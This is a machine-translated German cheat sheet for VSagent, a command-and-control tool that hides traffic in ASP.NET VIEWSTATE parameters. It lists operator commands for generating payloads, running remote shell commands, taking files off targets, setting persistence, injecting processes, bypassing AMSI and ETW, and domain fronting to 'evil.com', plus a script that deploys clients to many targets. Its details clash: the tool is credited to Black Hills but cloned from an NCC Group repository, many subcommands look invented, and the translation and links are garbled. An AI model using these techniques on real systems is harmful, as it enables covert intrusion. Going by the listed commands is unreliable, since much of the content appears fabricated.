VSagent Cheat Sheet
Überblick
VSagent ist ein spezialisiertes Befehls- und Steuerungstool (C2), das von Black Hills Information Security (BHIS) entwickelt wurde, das den C2-Verkehr innerhalb des __VIEWSTATE-Parameters von Webanwendungen clever verbirgt. Dieser innovative Ansatz nutzt die Tatsache, dass ASP. NET-Anwendungen verwenden häufig große, base64-codierte VIEWSTATE-Parameter, wodurch schädlicher Verkehr nahtlos mit legitimen Web-Anwendungskommunikation. Das Tool stellt eine anspruchsvolle Evasionstechnik dar, die die Ubiquität und das erwartete Verhalten von Web Application Frameworks nutzt, um verdeckte Kommunikationskanäle zu etablieren.
Die primäre Stärke von VSagent liegt in seiner Fähigkeit, C2-Kommunikation als normaler Web-Anwendungsverkehr zu masquerade. Durch die Einbettung von Befehls- und Steuerdaten innerhalb der VIEWSTATE-Parameter macht das Tool die Erkennung deutlich anspruchsvoller für herkömmliche Netzwerküberwachungslösungen. Sicherheitsteams übersehen oft den VIEWSTATE-Verkehr, da es scheint, Standard-Web-Anwendungsverhalten zu sein, wodurch eine effektive Blindstelle, die VSagent ausnutzt. Diese Technik ist besonders wertvoll in Umgebungen mit strenger Netzwerküberwachung und wo traditionelle C2-Protokolle schnell erkannt und blockiert werden.
VSagent arbeitet nach dem Prinzip des Verstecks in Sicht, die Nutzung der legitimen Infrastruktur und erwartete Verkehrsmuster von Web-Anwendungen zur Aufrechterhaltung von Persistenz und Kommunikation mit gefährdeten Systemen. Das Design des Tools spiegelt ein tiefes Verständnis der Einschränkungen der Web-Anwendungsarchitektur und der Netzwerksicherheit wider, was es zu einer wertvollen Ergänzung zu roten Team-Arsenalen und Penetrations-Test-Toolkits macht.
Installation
Voraussetzungen
VSagent benötigt eine Webserver-Umgebung, die ASP handhaben kann. NET-Anwendungen oder ähnliche Frameworks, die VIEWSTATE-Parameter nutzen:
```bash
Install required dependencies
sudo apt update sudo apt install git python3 python3-pip
Install web server components
sudo apt install apache2 nginx ```_
Gierinstallation
```bash
Clone VSagent repository
git clone https://github.com/nccgroup/VSagent.git cd VSagent
Install Python dependencies
pip3 install -r requirements.txt
Make scripts executable
chmod +x .py chmod +x .sh ```_
Docker Installation
```bash
Build VSagent container
docker build -t vsagent .
Run VSagent container
docker run -d -p 80:80 -p 443:443 vsagent
Access container shell
docker exec -it vsagent /bin/bash ```_
Basisnutzung
Server Setup
Einrichtung der VSagent-Server-Komponente, um C2-Kommunikation zu bewältigen:
```bash
Start VSagent server
python3 vsagent_server.py --port 8080 --interface 0.0.0.0
Start with SSL/TLS
python3 vsagent_server.py --port 443 --ssl --cert server.crt --key server.key
Start with custom VIEWSTATE key
python3 vsagent_server.py --port 8080 --viewstate-key "custom_key_here"
Enable verbose logging
python3 vsagent_server.py --port 8080 --verbose
Start with authentication
python3 vsagent_server.py --port 8080 --auth-token "secure_token_123" ```_
Kundenbetreuung
Bereitstellung von VSagent-Clients auf Zielsystemen:
```bash
Generate client payload
python3 generate_client.py --server 192.168.1.100 --port 8080
Generate PowerShell client
python3 generate_client.py --server 192.168.1.100 --port 8080 --format powershell
Generate with custom User-Agent
python3 generate_client.py --server 192.168.1.100 --port 8080 --user-agent "Mozilla/5.0 Custom"
Generate with proxy support
python3 generate_client.py --server 192.168.1.100 --port 8080 --proxy 192.168.1.50:3128
Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key" ```_
Ausführung des Befehls
Befehle ausführen durch VSagent C2 Kanal:
```bash
List active agents
vsagent> list
Select agent for interaction
vsagent> use agent_001
Execute system command
agent_001> shell whoami
Execute PowerShell command
agent_001> powershell Get-Process
Upload file to agent
agent_001> upload /local/path/file.txt C:\temp\file.txt
Download file from agent
agent_001> download C:\temp\data.txt /local/path/data.txt
Execute in-memory .NET assembly
agent_001> execute-assembly /path/to/assembly.exe arguments ```_
Erweiterte Funktionen
VIEWSTATE Handhabung
Erweiterte Techniken zur Manipulation von VIEWSTATE-Parametern:
```bash
Custom VIEWSTATE encoding
python3 vsagent_server.py --viewstate-encoding base64
Multiple VIEWSTATE keys rotation
python3 vsagent_server.py --viewstate-keys key1,key2,key3 --rotation-interval 3600
VIEWSTATE compression
python3 vsagent_server.py --viewstate-compress gzip
Custom VIEWSTATE validation
python3 vsagent_server.py --viewstate-validation custom
VIEWSTATE fragmentation
python3 vsagent_server.py --viewstate-fragment --fragment-size 1024 ```_
Verkehrsobfukation
Durchführung von Verkehrsobfukationstechniken:
```bash
Random delay between communications
agent_001> set delay 30-120
Custom HTTP headers
agent_001> set headers "X-Custom-Header: value"
User-Agent rotation
agent_001> set user-agents "Mozilla/5.0...,Chrome/91.0...,Safari/14.0..."
Referrer spoofing
agent_001> set referrer "https://legitimate-site.com"
Cookie manipulation
agent_001> set cookies "session=abc123; auth=xyz789" ```_
Persistenzmechanismen
Beharrlichkeit durch VSagent:
```bash
Registry persistence
agent_001> persist registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "VSagent"
Scheduled task persistence
agent_001> persist task --name "SystemUpdate" --trigger daily --time "09:00"
Service persistence
agent_001> persist service --name "VSagentSvc" --display "System Update Service"
WMI persistence
agent_001> persist wmi --namespace "root\subscription" --consumer "VSagentConsumer"
Startup folder persistence
agent_001> persist startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" ```_
Evasion Techniken
Netzwerk Evasion
Implementierung von Netzwerk-Level Evasion:
```bash
Domain fronting
python3 vsagent_server.py --domain-front cdn.cloudflare.com --real-domain evil.com
DNS over HTTPS
python3 vsagent_server.py --dns-over-https --doh-server https://1.1.1.1/dns-query
Traffic shaping
python3 vsagent_server.py --traffic-shape --min-delay 5 --max-delay 30
Protocol tunneling
python3 vsagent_server.py --tunnel-protocol https --tunnel-port 443
Proxy chaining
python3 vsagent_server.py --proxy-chain "proxy1:8080,proxy2:3128,proxy3:1080" ```_
Host-basierte Evasion
Evading hostbasierte Erkennung:
```bash
Process hollowing
agent_001> hollow-process notepad.exe payload.exe
DLL injection
agent_001> inject-dll target_process.exe malicious.dll
Memory patching
agent_001> patch-memory process_name offset shellcode
AMSI bypass
agent_001> bypass-amsi
ETW evasion
agent_001> disable-etw ```_
Antianalyse
Durchführung von Antianalyseverfahren:
```bash
Sandbox detection
agent_001> detect-sandbox
Virtual machine detection
agent_001> detect-vm
Debugger detection
agent_001> detect-debugger
Analysis tool detection
agent_001> detect-analysis-tools
Environment fingerprinting
agent_001> fingerprint-environment ```_
Automatisierungsskripte
Bereitstellungsautomatisierung
```bash
!/bin/bash
VSagent deployment automation
Set variables
SERVER_IP="192.168.1.100" SERVER_PORT="8080" TARGET_LIST="targets.txt"
Generate clients for multiple targets
while IFS= read -r target; do echo "Generating client for $target" python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target
# Deploy client
scp vsagent_client.exe user@$target:/tmp/
ssh user@$target "cd /tmp && ./vsagent_client.exe"
done < "$TARGET_LIST"
echo "Deployment completed" ```_
Befehlsausschreibung
```bash
!/bin/bash
VSagent command automation
Connect to VSagent server
python3 -c " import vsagent_client
Initialize connection
client = vsagent_client.VSagentClient('192.168.1.100', 8080)
Execute command sequence
commands = [ 'shell whoami', 'shell hostname', 'powershell Get-Process', 'download C:\temp\data.txt /tmp/data.txt' ]
for cmd in commands: result = client.execute(cmd) print(f'Command: \\{cmd\\}') print(f'Result: \\{result\\}') print('-' * 50) " ```_
Überwachung von Skript
```python
!/usr/bin/env python3
VSagent monitoring script
import time import requests import json
def monitor_vsagent_traffic(): """Monitor VSagent C2 traffic"""
server_url = "http://192.168.1.100:8080"
while True:
try:
# Check server status
response = requests.get(f"\\\\{server_url\\\\}/status")
if response.status_code == 200:
data = response.json()
print(f"Active agents: \\\\{data['active_agents']\\\\}")
print(f"Total commands: \\\\{data['total_commands']\\\\}")
print(f"Data transferred: \\\\{data['data_transferred']\\\\}")
# Log agent activity
for agent in data['agents']:
print(f"Agent \\\\{agent['id']\\\\}: Last seen \\\\{agent['last_seen']\\\\}")
time.sleep(60)
except Exception as e:
print(f"Monitoring error: \\\\{e\\\\}")
time.sleep(30)
if name == "main": monitor_vsagent_traffic() ```_
Integrationsbeispiele
SIEM Integration
Integration von VSagent mit SIEM-Systemen:
```bash
Splunk integration
python3 vsagent_server.py --siem-output splunk --splunk-host splunk.company.com --splunk-port 8089
ELK Stack integration
python3 vsagent_server.py --siem-output elasticsearch --es-host elastic.company.com --es-port 9200
QRadar integration
python3 vsagent_server.py --siem-output qradar --qradar-host qradar.company.com --qradar-port 514
Custom SIEM integration
python3 vsagent_server.py --siem-output custom --siem-script /path/to/custom_siem.py ```_
Threat Intelligence Integration
```python
!/usr/bin/env python3
VSagent threat intelligence integration
import requests import json
def integrate_threat_intel(): """Integrate with threat intelligence platforms"""
# VirusTotal integration
vt_api_key = "your_vt_api_key"
# Check IOCs
iocs = ["192.168.1.100", "evil.com", "malicious.exe"]
for ioc in iocs:
url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}
response = requests.get(url, params=params)
if response.status_code == 200:
data = response.json()
print(f"IOC \\\\{ioc\\\\}: \\\\{data['response_code']\\\\}")
if name == "main": integrate_threat_intel() ```_
Fehlerbehebung
Gemeinsame Themen
Kontaktprobleme: ```bash
Check network connectivity
ping target_server
Verify port accessibility
telnet target_server 8080
Check firewall rules
sudo iptables -L|grep 8080
Test with curl
curl -v http://target_server:8080 ```_
VIEWSTATE Ausgaben: ```bash
Validate VIEWSTATE format
python3 validate_viewstate.py --input viewstate_data
Debug VIEWSTATE parsing
python3 vsagent_server.py --debug-viewstate
Check VIEWSTATE size limits
python3 check_viewstate_limits.py --server target_server ```_
Leistungsfragen: ```bash
Monitor resource usage
top -p $(pgrep vsagent)
Check memory usage
ps aux|grep vsagent
Monitor network traffic
netstat -an|grep 8080
Check disk space
df -h ```_
Debugging
Debugging aktivieren:
```bash
Enable debug mode
python3 vsagent_server.py --debug --log-level DEBUG
Capture network traffic
tcpdump -i eth0 -w vsagent_traffic.pcap port 8080
Analyze logs
tail -f /var/log/vsagent.log
Memory debugging
valgrind --tool=memcheck python3 vsagent_server.py ```_
Sicherheitsüberlegungen
Operationelle Sicherheit
Kommunikationssicherheit: - Verwenden Sie immer HTTPS/TLS für C2-Kommunikation - Implementieren Sie Zertifikat Pinning zu verhindern MITM Angriffe - Verwenden Sie eine starke Verschlüsselung für die Nutzlastübertragung - Verschlüsselungsschlüssel regelmäßig drehen
Infrastruktursicherheit: - Bereitstellung von C2-Servern hinter CDNs oder Redirectors - Verwendung von Domain-Fronttechniken, wenn möglich - Implementierung IP Whitelist für administrativen Zugriff - Regelmäßige Sicherheitsupdates und Patches
** Nachweisvermeidung:** - Vary Kommunikationsmuster und Timing - Verwenden Sie legitim aussehende User-Agent-Strings - Implementieren Jitter in Beacon Intervallen - Monitor für defensive Gegenmaßnahmen
Rechtliche und ethische Überlegungen
Authorized Testing Only: - Erhalten Sie eine ordnungsgemäße schriftliche Genehmigung vor der Bereitstellung - Umfang und Einschränkungen eindeutig definieren - Dokumentation aller Tätigkeiten für die Einhaltung - Verantwortliche Offenlegungspraktiken
Datenschutz: - Verschlüsseln Sie sensible Daten im Transit und im Ruhezustand - Implementierung sicherer Datenlöschverfahren - Datenschutz und Vertraulichkeit - Entspricht den geltenden Datenschutzbestimmungen
Referenzen
- Black Hills Information Security - VSagent
- (VIEWSTATE) Sicherheitsforschung](_LINK_5___
- C2 Evasionstechniken
- Web Application Security Testing
- [Network Security Monitoring](__LINK_5___